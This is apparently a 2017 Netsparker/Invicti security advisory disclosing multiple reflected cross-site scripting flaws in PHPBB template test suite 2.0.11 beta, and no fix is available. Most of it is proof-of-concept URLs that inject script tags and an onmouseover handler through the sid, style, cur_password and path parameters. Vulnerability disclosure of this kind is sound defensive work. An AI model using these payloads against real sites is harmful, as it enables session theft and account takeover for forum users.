Multiple Reflected XSS Vulnerabilities in PHPBB template test suite 2.0.11 (beta)

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in PHPBB template test suite 2.0.11 (beta)
Affected Software: PHPBB template test suite 2.0.11 (beta)
Affected Versions: 2.0.11 (beta)
Vendor Homepage: https://sourceforge.net/projects/tpltest/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-014

Technical Details

Proof of Concept URL for XSSes vulnerabilities in PHPBB template test suite 2.0.11 (beta);

URL: /tpltest2011b/faq.php?sid='"--></style></scRipt><scRipt>alert(0x0004A2)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0004A2)</scRipt>

URL: /tpltest2011b/faq.php?mode=bbcode&sid='"--></style></scRipt><scRipt>alert(0x001226)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001226)</scRipt>

URL: /tpltest2011b/groupcp.php?sid='"--></style></scRipt><scRipt>alert(0x000B0E)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000B0E)</scRipt>

URL: /tpltest2011b/groupcp.php?g=2&sid='"--></style></scRipt><scRipt>alert(0x00132C)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00132C)</scRipt>

URL: /tpltest2011b/index.php?c=1&sid='"--></style></scRipt><scRipt>alert(0x0004CA)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0004CA)</scRipt>

URL: /tpltest2011b/index.php?mark=forums&sid='"--></style></scRipt><scRipt>alert(0x001BB4)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001BB4)</scRipt>

URL: /tpltest2011b/memberlist.php?sid='"--></style></scRipt><scRipt>alert(0x000854)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000854)</scRipt>

URL: /tpltest2011b/memberlist.php?sid='"--></style></scRipt><scRipt>alert(0x002EA6)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x002EA6)</scRipt>

URL: /tpltest2011b/privmsg.php?folder=inbox&mode=read&p=1&sid='"--></style></scRipt><scRipt>alert(0x00170A)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00170A)</scRipt>

URL: /tpltest2011b/privmsg.php?folder=inbox&sid='"--></style></scRipt><scRipt>alert(0x000EC0)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000EC0)</scRipt>

URL: /tpltest2011b/privmsg.php?mode=post&u=2&sid='"--></style></scRipt><scRipt>alert(0x002D82)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x002D82)</scRipt>

URL: /tpltest2011b/profile.php?mode=viewprofile&u=2&sid='"--></style></scRipt><scRipt>alert(0x0014BC)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0014BC)</scRipt>

URL: /tpltest2011b/profile.php?mode=register&sid='"--></style></scRipt><scRipt>alert(0x000CFC)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000CFC)</scRipt>

URL: /tpltest2011b/profile.php?sid='"--></style></scRipt><scRipt>alert(0x003984)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003984)</scRipt>

URL: /tpltest2011b/profile.php?sid=3
Parameter Name: cur_password
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A43)</scRipt>

URL: /tpltest2011b/profile.php?mode=register&agreed=true&coppa=true&sid='"--></style></scRipt><scRipt>alert(0x003342)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003342)</scRipt>

URL: /tpltest2011b/search.php?search_id=unanswered&sid='"--></style></scRipt><scRipt>alert(0x00081A)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00081A)</scRipt>

URL: /tpltest2011b/search.php?mode=results&sid='"--></style></scRipt><scRipt>alert(0x00271E)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00271E)</scRipt>

URL: /tpltest2011b/viewforum.php?f=1&mark=topics&sid='"--></style></scRipt><scRipt>alert(0x001978)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001978)</scRipt>

URL: /tpltest2011b/viewonline.php?sid='"--></style></scRipt><scRipt>alert(0x001C72)</scRipt>
Parameter Name: sid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001C72)</scRipt>

URL: /tpltest2011b/viewtopic.php?p=1&style=subSilver&sid=x'" onmouseover=alert(9)
Parameter Name: sid
Parameter Type: GET
Attack Pattern: x%27%22+onmouseover%3dalert(9)+

URL: /tpltest2011b/viewtopic.php?p=1&style='"--></style></scRipt><scRipt>alert(0x001B4A)</scRipt>&sid=1
Parameter Name: style
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001B4A)</scRipt>

URL: /tpltest2011b/viewtopic.php/'"--></style></scRipt><scRipt>alert(0x0027A6)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x0027A6)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

07 March 2017 – Advisory released

Solution

No solution is available at the time of publishing this advisory.

Credits & Authors

This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.